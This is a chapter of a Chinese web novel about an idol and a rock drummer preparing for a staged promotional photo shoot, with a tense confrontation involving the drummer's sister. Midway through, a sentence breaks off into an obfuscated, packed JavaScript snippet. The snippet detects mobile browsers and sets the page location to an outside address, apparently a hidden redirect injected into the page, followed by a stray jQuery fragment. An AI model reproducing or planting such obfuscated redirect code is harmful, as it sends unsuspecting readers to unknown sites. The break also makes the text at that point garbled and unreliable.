窗外东京的璀璨灯火渐渐被熹微的晨光取代，但公寓内却并非自然醒的宁静。
刺耳的闹铃声如同冰冷的警笛，骤然划破主卧的寂静。星野夜海几乎是惊叫着从床上弹起，手忙脚乱地按掉手机，心脏砰砰直跳。她只感觉眼皮沉重得像灌了铅，脑袋里也仿佛塞了一团模糊的棉花，昨晚酒精、情绪波动和深夜谈话的消耗殆尽的精力此刻依旧是尚未补足的状态。
另一边，客卧的林光则是在闹钟响起前一刻便已睁开眼。她的作息向来规律，即使昨晚睡得晚，生物钟依旧让她在预定时间自然清醒。只是眼底淡淡的青黑泄露了睡眠不足的事实。她没有丝毫拖延，立刻起身，动作或许比平日稍慢半拍，但依旧条理清晰。
当星野顶着一头乱糟糟的卷发，眯着眼、脚步虚浮地晃出卧室时，林光已经洗漱完毕，正站在厨房一手上下摆弄着茶包，试图加快茶叶浸出的速。
“早……”星野的声音沙哑，有气无力地打了个哈欠，眼角挤出两滴生理性泪水。她几乎是摸着墙壁走到餐桌旁，瘫坐在椅子上。
“早。”林光的声音听起来还算清醒。她递过来一杯刚刚冲好的红茶，杯沿热气袅袅，“趁热喝，幸子小姐发的行程表看了吗？我们时间很紧。”
星野接过咖啡，烫手的温度让她稍微清醒了一点。她猛地想起昨晚那个突如其来的北海道任务，立刻抓起手机翻看邮件。“天哪……下午一点的飞机？公式照拍摄是九点开始……那我们……”她快速心算着时间，脸色微微发白。
“所以得快。”林光言简意赅。她已经迅速解决了自己的早餐——一杯热红茶和一个便利店三明治。同时，她将一个酥脆的可颂推到星野面前，“车上吃。化妆和做发型会很花时间，我们最好半小时内出发。”
星野看着眼前的可颂，又看看林光已经收拾妥当、甚至连随身背包和行李箱都放好在玄关的样子，瞬间感受到了巨大的时间压力。她赶紧灌了一大口茶水，带着醇香的苦涩液体刺激着味蕾和神经，然后认命地拿起三明治，一边小口快速地吃着，一边冲回房间：“我马上好！五分钟！不，三分钟！”
接下来的半小时，公寓里充满了匆忙却不完全混乱的气息。星野房间的门开开关关，伴随着她翻找衣物、低声嘀咕“我那对耳环呢”。林光则快速检查着自己的证件、钱包和手机充电器，并将星野匆忙间扔在沙发上的围巾叠好塞进她的通勤包里。
当门铃响起，助理准时出现在门口时，星野正好一边套着大衣一边从房间冲出来，嘴里还叼着没吃完的最后一点可颂。发型师和化妆师会在公司直接等她，所以她只是草草梳了头，用口罩遮住了自己素着的一张脸。
“走吧。”林光已经拎起自己的背包和行李箱，语气平静，仿佛刚才那个高效的半小时只是日常。
电梯下行时，星野对着光洁的轿厢壁整理着自己的衣领，试图压下那一缕不听话的头发，小声抱怨：“感觉才刚躺下没多久……”
林光从背包侧袋拿出一个独立包装的蒸汽眼罩，递给她，动作熟练得像重复了无数遍：“车上还可以敷一会儿。”
星野接过眼罩，感激地看了她一眼。此刻，这个沉默却周全的后辈，简直像混乱清晨里唯一的锚点。
保姆车平稳地汇入早高峰的车流。星野戴上眼罩，试图争分夺秒地弥补睡眠。林光则拿出手机，再次确认邮件里的行程表和注意事项，偶尔抬眼看看窗外缓慢移动的车龙，表情平静地喝上一口保温杯里的热茶，只是指尖在膝盖上无意识地轻轻敲击着鼓点，泄露了一丝并非全然的从容。
晨光透过车窗，照亮车内略显匆忙却又默契共生的氛围，载着她们驶向忙碌一天的起点——公司摄影棚的公式照拍摄。
保姆车驶入Collector事务所大楼的地下停车场，那熟悉的、混合着汽车尾气、清洁剂和淡淡香氛的空气扑面而来。电梯平稳上升，直达专门用于艺人造型和准备的楼层。
门一开，不同于公寓的静谧或车内的私密，高度组织化的忙碌气息瞬间包围了她们。走廊里灯光通明，两侧排列的化妆间门开合不断。工作人员推着挂满服装的移动衣架快步穿梭，通话声、敲门声、某间房里传出的吹风机嗡鸣声交织成一片，形成独特的后台交响乐。
一位等待已久的助理立刻迎上来：“星野小姐，您的化妆间在A3。井上小姐，乐队成员已经在B2区域准备了。”语气礼貌而高效。
“好的，谢谢。”星野点点头，下意识地看了一眼林光。林光也正看向她，目光平静，几不可察地微扬了一下下巴，示意她快去。没有多余的言语，两人便在走廊口自然分流，走向各自所属的领域。
星野被助理引进A3化妆间。房间不算极大，但光线明亮柔和，环绕着明星镜的化妆台上摆满了各式刷具、化妆品和发型产品，琳琅满目。空气里弥漫着粉底、定妆喷雾和高级护肤品的复合香气。
她的专属化妆师和发型师已经严阵以待。
“夜海酱，早上好！哦呀，看起来有点睡眠不足哦？”化妆师是一位性格开朗的女士，一眼就看出了星野的状态，语气带着熟稔的关切，但手上动作不停，已经利落地开始给她做妆前保湿和打底。
“早上好……昨晚看剧本有点晚。”星野含糊地解释，闭上眼，任由清凉的护肤品和轻柔的指腹在她脸上工作，工作借口永远好用。
“放心交给我们吧，保证让你焕然一新！”发型师笑着开始打理她的头发，梳子轻轻刮过头皮，带来一丝舒适的麻痒。
陷入柔软的化妆椅中，星野的心绪却难以完全平静。镜子里映出她略显苍白的脸和眼下淡淡的青影，化妆师正用遮瑕膏仔细地覆盖那些疲惫的痕迹。身体的倦怠是真实的，但更深的是一种微妙的悬浮感——从昨夜酒吧的喧嚣、水族馆的静谧、再到得知北海道任务的突然，以及此刻身处这熟悉又陌生的化妆间，准备进行一场目的明确的“营业”拍摄……一切都发生得太快，让她有种不真切的恍惚感。她即将要和那个看似冷淡、实则细心、身上藏着许多秘密的后辈，以一种被设计好的方式，捆绑在镜头前。星野顶着完美的妆容，穿上那身剪裁极佳的纯白西装，发型师将她栗色长发利落束起，露出完美的天鹅颈时，镜中映出的人影连她自己都微微怔忡。干练、帅气、一种前所未有的高雅与强大气场取代了平日的柔软或舞台的甜美。她深吸一口气，将那些私人的纷乱情绪彻底压入心底，戴上专业的面具。
另一边，林光走向音乐部常用的B2准备区。这里的氛围明显不同，更宽敞，更像一个开放的休息室混合着临时妆发点。墙上贴着各种乐队海报和演出通知，角落随意堆着几只乐器箱和效果器。林光坐在镜前，安静地配合化妆师打理。当几缕钴蓝色的挑染发片被精心嵌入她深色的短发间，冰凉的银色几何耳夹扣上耳垂，她换上简单的黑色背心和牛仔裤，一种不羁而锐利的摇滚气质便自然而然取代了平日的清冷疏离。这是她沉浸于音乐世界的盔甲，是她内在力量的外显。
乐队成员已经到的差不多了。
科迪正对着墙壁的镜子做各种夸张的表情，活动着脸部肌肉，看到他进来，立刻扬起一个大大的笑容：“光！早上好！听说我们要有新的‘合作伙伴’了？”他挤挤眼，语气里满是促狭。
遠山楓靠在沙发上调试着他的电吉他，连接着静音练习器，只有轻微的电子音溢出，听到科迪的话，只是懒懒地抬了下眼皮，算是打过招呼。
山口一之濑则乖巧地坐在化妆镜前，任由一位化妆师助理给他上一点底妆，看到林光，腼腆地笑了笑：“光姐，早。”
劉川已经快弄好了，她头发抓得蓬松有型，眼妆勾勒出她清亮又略带叛逆的眼神。她正低头玩手机，看到林光，立刻放下手机蹦过来：“姐！你来了！”她凑近林光，像小动物一样嗅了嗅，眉头微蹙，“你昨晚没睡好？又熬夜编曲了？还是……”她瞥了一眼A3化妆间的方向，压低声音，“……跟那位大明星前辈相处，压力很大？”
林光轻轻拍开她凑得太近的脑袋：“没有。只是有点赶。”她避重就轻，走到空着的化妆镜前坐下。专门的化妆师过来为她打理。
科迪凑过来，高大的身子倚在化妆台边，语气变得稍微正经了些：“说真的，光，星野前辈那边……我们前几天和经纪人吃饭的时候提了一下。这次的事情，确实挺麻烦的。她愿意这样合作，我们也得好好感谢她。”他虽然爱开玩笑，但心思并不坏，懂得圈内的规则与人情。
遠山楓拨弄了一下琴弦，发出一个短暂的滑音，头也不抬地说：“舞台之外的事情我们不管，但既然要合作，面上肯定会做好。”他的话一如既往的简洁直接，带着点酷劲，但也表明了配合的态度。
一之濑也小声附和：“嗯，星野前辈很厉害，能和她合作……是我们的荣幸。”
劉川听着他们的话，眨了眨眼，似乎才完全意识到这次“营业”的严肃性和对乐队潜在的好处。她看向林光，眼神里多了点好奇和探究：“姐，那你……没问题吧？我知道你不太喜欢这种……”她顿了顿，语气里带上了一丝不易察觉的担忧，“那段时间你打那么多份工，累得人都瘦脱形了，现在又要应付这些……”
林光透过镜子看了妹妹一眼，眼神温和却带着制止的意味：“我也想做些改变。”她轻轻摇头，示意她别再说下去。那些过往，她并不想多提，尤其是当着队友的面。“工作而已，我知道该怎么做。”
劉川撇撇嘴，没再追问，但眼神里的关切并未散去。她只是拿起一旁林光带来的鼓棒，把玩的同时，似乎是想起了什么一般突然笑了出来，
“不过SNS上很多人骂，说我姐是在直女装姬。”只属于二人之间的中文交流，刘川的视线从鼓棒转移到林光的身上，十分期待她的反应，
“哦？”林光的笑是下意识的，没能忍住第二声笑，她只好无奈地伸手挡住脸，“唉……让他们说吧。”
化妆师熟练地为林光上着妆，妆感比演艺部那边要自然许多，更贴合她音乐人的身份。林光安静地配合着，目光偶尔会掠过走廊的方向，想象着另一边星野此刻的状态。她知道星野正在经历什么，那种被迫将私事摊开、成为工作一部分的别扭感，她或多或少能理解一些。
巨大的摄影棚内，灯光炽烈如同白昼。
星野站在白光中心，按照指令精准地变换姿态。白色西装衬得她身姿愈发挺拔，高马尾划出利落的弧度。她的笑容明亮，眼神自信，每一个定格都无懈可击。只有在镜头之外的短暂间隙，那抹被极力隐藏的疲惫才会从眼底悄然溜走。
不远处的另一个区域，林光和她的乐队成员也在拍摄。当林光握住鼓棒，她的周身气场便自然沉淀下来。摄影师捕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409383|184388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捉她专注的侧脸、挥动鼓棒时流畅的手臂线条，以及那缕在她耳侧跳跃的、极其抢眼的蓝色发丝。她不需要过多表情，那份沉浸于节奏的专注感本身就是最好的语言。
一次拍摄转换背景的间隙，星野的目光下意识地追寻，落在了林光身上。
就那一眼，她的呼吸几不可察地顿了一下。
黑色背心勾勒出林光流畅而富有力量感的肩臂线条，那抹钴蓝在她发间如同暗夜冷焰般跳跃，银色耳夹折射出锐利的光芒。和平日里那个疏离的室友判若两人，这是一种带着攻击性和不羁魅力的、极具冲击力的美。几乎同时，林光也抬眼望了过来。她的目光落在星野那身白色西装和利落的高马尾上时，也停顿了一瞬。眼前的星野不再是那个印象中温暖偶尔脆弱的前辈，更像一位散发着高贵与自信魅力的俊美、干净、锐利，充满了强大的内在张力。
一阵难以言说的悸动在相视中应运而生，人流穿梭于二人的视线当中，下一秒星野再回看过去，捕捉到的只有林光重回专业的侧脸。一丝丝失落藏于星野的眼底，
“非常好星野，就是这个情绪，再来一张！”
拍摄暂告一段落。星野松了口气，打算回化妆间补妆整理。她刚走进A3化妆间，对着镜子查看妆容，镜子里却映出了另一个身影——刘川不知何时也走了进来，姿态闲适地靠在门边的化妆台上。
“星野前辈，”刘川开口，声音带着恰到好处的礼貌，但眼底却没什么温度，“拍摄辛苦了。”
星野从镜子里看着她，心里微微一紧，但面上保持着微笑：“谢谢，刘川小姐也是。”
刘川的目光轻轻扫过星野的造型，语气自然却带着一丝不易察觉的审视：“前辈今天的状态真好，看来调整得很快。”她话锋微转，声音压低了些，更显得“推心置腹”，“不过，接下来要去那么冷的地方出差，我有些担心呢。”
她微微前倾，做出关切的样子：“我姐姐那个人啊，看着冷淡，其实心软，但又最怕麻烦。她自己的生活都总是凑合，根本不擅长照顾人，也更不喜欢别人麻烦她。”这句话她说得格外清晰，目光紧紧锁住镜中的星野，仿佛不只是在陈述，而是在划出一条明确的界限——“请不要成为她的麻烦”。
“所以，”刘川的脸上重新挂上无懈可击的甜美笑容，但话语里的意思却截然相反，“要是有什么不方便或者需要帮忙的地方，前辈千万别跟她客气，直接来找我就好。或者找助理也行，总之……别去打扰她就好。”她巧妙地将“不用客气”扭曲成了“别去找她”，其核心意图昭然若揭：将星野排除在林光的照顾范围之外，不希望星野在林光的世界里拥有“需要被特殊关照”的分量。
星野瞬间听懂了这层包裹在“善意”下的驱逐令。她转过身，正面看向刘川，脸上的笑容依旧完美，却多了一丝了然的意味。
“刘川小姐真是体贴。”星野的声音很温和，却带着一种不容置疑的肯定，“你的心意我领了。不过——”
她话锋一转，语气里带上了一点恰到好处的、混合着感激与些许不好意思的真诚，仿佛在说一件既成事实的小秘密：“关于‘照顾’这件事……说起来还真有点不好意思。我已经体会过井上小姐的‘贴心照料’了。”
她看到刘川的瞳孔几不可察地收缩了一下，继续用轻快而自然的语气说道，仿佛没看到对方细微的变化：“昨天我有点不舒服，她又是准备蜂蜜水，又是惦记着早上温粥留纸条，细心周到得让我都惊讶了。”她笑着轻轻摇头，像是在感慨自己的后知后觉，“所以，‘不擅长’、‘不喜欢’什么的……看来我们对井上小姐的了解，好像有点不一样呢？”
星野这番话，如同四两拨千斤。她没有否认刘川的话，而是用一个已经发生的、无法改变的事实，温柔却坚定地反驳了刘川试图建立的“规则”。
你不想让她照顾我，但她已经这么做了。你所说的“不擅长”和“不喜欢”，在我这里并不成立。
刘川脸上的笑容彻底淡了下去，那层甜美的面具几乎难以维持。星野的话像一根细针，精准地刺中了她最在意的地方。她看着星野，眼神里不再是探究，而是带上了一种更深沉的、冰冷的审视。
“……是吗？”她最终只吐出这两个字，声音比刚才低沉了些，“那看来，是我多事了。”
她没有再看星野，也没有再多说一个字，只是面无表情地直起身，转身离开了化妆间。那扇门在她身后轻轻合上，隔绝了所有情绪，却留下了一室更加冰冷的空气和无声的、骤然升级的对抗张力。
星野看着关上的门，缓缓松了口气，这才发现手心微微汗湿。这一回合，她勉强算是挡住了。
而不远处，林光只是安静地看着刘川从星野的化妆间方向离开，又看到星野随后走出来时脸上那一闪而过的、未被完全掩饰好的嘴角的紧绷。她什么也没问，只是微微蹙了下眉。
之后的工作中，当刘川又习惯性地想凑近林光时，林光抬起眼，目光平静却带着一丝不易察觉的冷意，看了她一眼。
就那么一眼，没有责备，没有质问，却让刘川即将说出口的话卡在了喉咙里。她太熟悉姐姐这种冷冰冰的眼神了。刘川撇撇嘴，把话咽了回去，讪讪地走开了。
摄影棚内的灯光依旧炽热，快门声不断响起，将精心雕琢的完美形象定格于胶片之上。